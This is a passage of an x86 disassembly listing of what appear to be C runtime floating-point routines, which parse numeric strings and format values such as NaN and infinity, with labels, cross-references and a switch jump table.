		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43CBB8
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43CBB8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43CBB8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43CBB4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43CBB8
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43CBB4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43CBB4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43CBB4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43CBB4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
